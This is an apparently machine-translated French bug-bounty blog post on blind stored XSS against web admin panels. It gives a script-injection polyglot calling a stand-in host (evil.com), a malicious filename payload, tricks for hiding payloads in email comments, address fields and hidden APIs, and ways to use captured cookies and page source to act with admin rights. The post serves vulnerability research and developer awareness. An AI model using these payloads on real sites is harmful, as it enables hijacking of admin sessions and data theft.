Bug Hunt, Blind-XSS et Fox Tricks

Les renards en savent beaucoup sur la chasse :)

Beaucoup ont probablement entendu parler de BugBounty , d'une recherche de vulnérabilités de récompenses et d'histoires connexes à ce sujet. En tant que «chasseur d'insectes», j'ai commencé mon voyage il y a un peu plus d'un an sur le site HackerOne . Pendant ce temps, j'ai réussi à en apprendre beaucoup sur les différents types de vulnérabilités, à acquérir beaucoup d'expérience et maintenant je voudrais partager cela avec la communauté.

Dans cet article, je veux parler d'un type de vulnérabilité comme le script intersite aveugle ou le script intersite stocké en aveugle, s'il est traduit en russe. Je vous invite à chat, si vous êtes intéressé par de tels sujets ou si vous souhaitez améliorer la sécurité de votre application.

De nombreuses applications Web ont un panneau d'administration ou ses autres variantes qui vous permettent de contrôler le contenu du site Web, de gérer les données des utilisateurs et d'effectuer de nombreuses autres actions privilégiées. Le portail administratif peut être protégé par l'accès à un pool spécifique d'adresses IP, des cookies HTTP uniquement et, bien sûr, une autorisation.

Cependant, tous ces mécanismes de protection peuvent être contournés si le contenu saisi par l'utilisateur s'avère malveillant et que l'application ne nettoie pas correctement les informations envoyées par l'utilisateur.

Outils à utiliser

Tout d'abord, familiarisons-nous avec les outils qui nous permettront d'exploiter avec succès le Blind-XSS découvert. Il diffère des autres vulnérabilités par la méthode d'exploitation. En envoyant un message malveillant, nous ne savons pas si JavaScript a été correctement intégré aux pages HTML ou non. Le code malveillant ne sera exécuté que lorsque l'administrateur visitera la page avec ce code. Sinon, nous ne saurons peut-être jamais si l'attaque a réussi ou non.

Toutes sortes de frameworks créés exclusivement pour l'injection Blind-XSS peuvent nous fournir une assistance opérationnelle:

1. XSS Hunter ( GitHub ) - l'un des frameworks les plus populaires
2. ezXSS
3. bXSS (avec notification SMS)
4. elScripto

Et bien d'autres. Chaque cadre a ses propres particularités, chaque chasseur de bagage choisit donc celui qui est le plus pratique et adapté à ses besoins. Depuis que j'utilise XSS Hunter , plus loin dans l'article, je vais vous présenter ses fonctionnalités et comment les utiliser pour obtenir le meilleur résultat.

Après avoir configuré le framework, vous obtiendrez des charges utiles prêtes à être appliquées dans différentes situations, mais les polyglottes sont le plus souvent utilisées, par exemple:

\-->'></style></div></article></script><script/src=//evil.com> 

Point d'entrée ou point d'injection

Tous les points d'entrée sont unis par le fait que les informations saisies ne sont pas correctement effacées du code JavaScript et permettent la mise en œuvre de ce code dans la structure HTML de la page administrative. À mon avis, le point d'entrée le plus populaire est un message d'assistance.

Considérez ceux que je connais.

1. Formulaire de commentaires

En règle générale, dans ce formulaire, il existe des champs tels que:

1. titre
2. message
3. parfois une adresse e-mail au cas où l'administrateur souhaiterait contacter l'auteur du message.

Chacun de ces champs peut être vulnérable à l'injection JavaScript. Mais il y a un petit truc ici:

Si vous voyez le champ Adresse e-mail, ne vous précipitez pas pour abandonner s'il n'accepte rien d'autre que la structure de l'e-mail. Essayez: - "payload"@domain.com
- name@"payload"domain.com
- name(payload)@domain.com
- name@(payload)domain.com
- name@domain.com(payload) - "payload"@domain.com
- name@"payload"domain.com
- name(payload)@domain.com
- name@(payload)domain.com
- name@domain.com(payload)

Les guillemets et les crochets sont une partie valide de l'adresse e-mail et sont des commentaires conformément aux spécifications de RFC 2822 (section 3.4.1), RFC 3696 (section 3).

La moitié de mes injections réussies ne sont que l'injection via le commentaire de l'adresse e-mail. Le plus souvent, la vérification côté client (navigateur) ne permettra toujours pas l'utilisation d'un tel email. Mais nous savons que le contrôle du client ne signifie rien pour nous:


Par conséquent, l'adresse e-mail doit uniquement être remplacée lors de l'envoi d'une demande à l'aide d'une application proxy (par exemple, Burp Suite).

2. Formulaires de réclamations / suggestions / évaluations

Vous avez sûrement souvent vu la ligne "L'article est-il utile?" (Notez cet article) sur les portails de support ou avec la documentation. En cliquant sur le bouton "Non", ils peuvent nous proposer d'envoyer un message expliquant pourquoi l'article n'a pas été utile et ce qui peut être amélioré. Vous avez probablement déjà compris où serait notre charge utile dans ce cas.

Par conséquent, si vous voyez des offres similaires pour envoyer des commentaires, vous devez certainement y prêter attention et envoyer une charge utile, qui peut finalement être couronnée de succès.

3. Inscription au compte

Oui, lors de l'enregistrement d'un compte, il est extrêmement improbable que notre compte soit affiché quelque part dans le panneau d'administration, cependant, en insérant la charge utile dans l'adresse e-mail, nous pouvons plus tard l'utiliser pour envoyer des messages au site en tant qu'utilisateur enregistré. Dans le même temps, les formulaires eux-mêmes afficheront automatiquement notre adresse dans le panneau d'administration, bien qu'elle n'ait pas été directement demandée lors de l'envoi de tout formulaire ou message.

4. Support client

Le point d'entrée le plus évident et le plus souvent exploité. Chaque formulaire de demande de services d'assistance peut être très différent les uns des autres, faites donc attention aux champs dans lesquels vous pouvez insérer une charge utile.

La possibilité de télécharger des fichiers mérite une attention particulière. Une autre astuce est que la charge utile peut être laissée dans le nom du fichier, par exemple:

 Screenshot - 12.03.2019 12_05_52"><script src=//mysite.com/1.js>.jpeg.html 

Et laissez le même script dans le fichier lui-même (merci à w9w de l' avoir trouvé).

5. Adresse de livraison / entreprise / domicile

L'adresse est également souvent utilisée lors de l'interaction avec l'utilisateur, lorsqu'il doit envoyer quelque chose dans le cas d'un service de livraison, d'un magasin, d'une réservation d'hôtel ou d'une autre application qui traite des adresses.

Le champ d'adresse est assez courant et parfois la validation se produit au niveau d'une adresse existante. Par conséquent, vous devrez peut-être saisir l'adresse réelle au début et l'indiquer sur la carte, et déjà en train d'envoyer la demande, ajoutez la charge utile à l'adresse valide afin de contourner les vérifications d'application.

6. API cachées

Parfois, lors de l'apprentissage du code JavaScript, vous pouvez trouver des points de terminaison API qui ne sont pas utilisés dans l'application. Cela peut être, par exemple, l'envoi d'informations sur les erreurs, le débogage, etc. Il est possible de former une demande basée sur JS et d'envoyer un message avec une charge utile.

Mécanismes de protection post-opération et bypass

Ayant reçu un retour d'information sur le bon fonctionnement de Blind-XSS, beaucoup sont pressés de signaler une découverte au programme avec des récompenses pour les vulnérabilités trouvées. Cependant, le plus souvent, ces vulnérabilités reçoivent une priorité élevée, mais pas critique. Nous avons plusieurs moyens de prouver les dommages critiques d'une éventuelle exploitation d'une vulnérabilité.

1. Apprentissage des panneaux HTML source

À chaque opération réussie, XSS Hunter nous envoie des informations telles que:

1. Cookie utilisateur
2. Utilisateur agent utilisateur
3. Adresse IP de l'utilisateur
4. URL de la page sur laquelle le script est exécuté
5. Code source HTML de la page
6. capture d'écran de la page
7. Référent



En règle générale, il n'y a pas de cookies de session, car ils ont l'attribut HTTP uniquement. Dans ce cas, le plus utile pour nous est le code source de la page HTML. Vous y trouverez, entre autres, JavaScript. Ce code vous permet de comprendre comment les demandes sont générées pour effectuer des actions administratives. Il est nécessaire de l'étudier et d'essayer d'effectuer ces actions en créant une demande manuellement dans Burp Suite ou dans un autre logiciel similaire.

Dans mon cas, le panneau d'administration était sur le même domaine d'où j'ai envoyé la charge utile, j'ai donc pu ouvrir tous les scripts sans injection supplémentaire (bien que cela puisse être fait en une seule injection). À ma grande surprise, bien que l'accès aux sections administratives nécessitait encore une autorisation, j'ai réussi à envoyer des demandes aux API administratives et à gérer le contenu comme si j'étais déjà administrateur.

Malheureusement, le programme dans lequel j'ai pu détecter ces vulnérabilités est privé et je ne peux pas le nommer ou montrer plus en détail le processus d'extraction des requêtes du code JS.

À la suite de cette découverte, j'ai réussi à obtenir 2500 $ au lieu de 1000 $ comme s'il s'agissait d'une vulnérabilité hautement prioritaire.

2. Obtenez plus d'informations.

Même si le panneau d'administration est derrière le pare-feu et qu'il n'y a pratiquement aucun moyen d'y accéder, vous pouvez toujours obtenir plus d'informations et augmenter la criticité de la vulnérabilité découverte.

XSS Hunter vous permet d'ajouter votre propre code JS à la charge utile et de spécifier des pages supplémentaires à récupérer:



Après la première opération réussie, vous pouvez extraire des pages supplémentaires qui ont été obtenues au cours de l'étude du code source de la page HTML. De la même manière, vous pouvez exécuter des requêtes avec des privilèges d'administrateur, mais cela nécessite un code JS plus complexe.

De plus, je pense que vous pouvez ajouter une extraction HTML récursive d'autres pages du panneau d'administration, sur lesquelles des informations sensibles peuvent apparaître, mais je n'ai pas encore eu à y recourir.

Conclusion

1. Je conseille aux développeurs de vérifier tous leurs champs liés aux adresses e-mail, car très souvent, beaucoup s'appuient sur une vérification standard de la structure de l'adresse e-mail, sans tenir compte du fait qu'il est possible de générer une adresse complètement valide, mais avec un code malveillant.
2. Faites attention aux champs mineurs liés aux commentaires. Ils sont différents et il est impossible de tous les énumérer.
3. Ne soyez pas paresseux pour extraire des informations supplémentaires de la page HTML reçue, avec une forte probabilité que cela puisse parfois augmenter votre prime.
4. Essayez de prouver l'impact critique de chacun de vos Blind-XSS.

Je propose de m'abonner à ma chaîne en télégramme (uniquement en russe), ainsi qu'à un compte Twitter (en anglais), car il est difficile de collecter du matériel pour des articles aussi volumineux, mais je peux publier de courts trucs et trouvailles assez souvent.

Des liens peuvent être trouvés ci-dessous.

Bonne chasse!